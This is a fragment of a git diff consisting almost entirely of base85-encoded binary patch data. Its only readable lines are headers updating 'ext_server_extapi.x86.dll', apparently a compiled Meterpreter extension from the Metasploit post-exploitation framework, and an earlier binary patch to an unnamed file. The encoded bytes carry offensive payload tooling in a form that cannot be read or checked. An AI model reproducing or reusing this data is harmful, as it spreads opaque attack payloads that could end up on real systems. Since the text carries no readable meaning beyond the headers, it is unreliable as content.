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 Bqm%#u diff --git a/data/meterpreter/ext_server_extapi.x86.dll b/data/meterpreter/ext_server_extapi.x86.dll index e6f45b768bef4d0760df61063023fee50457a2b9..e297c627c252ebc1e856e42610b34c092b5f10c4 100755 GIT binary patch delta 46071 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 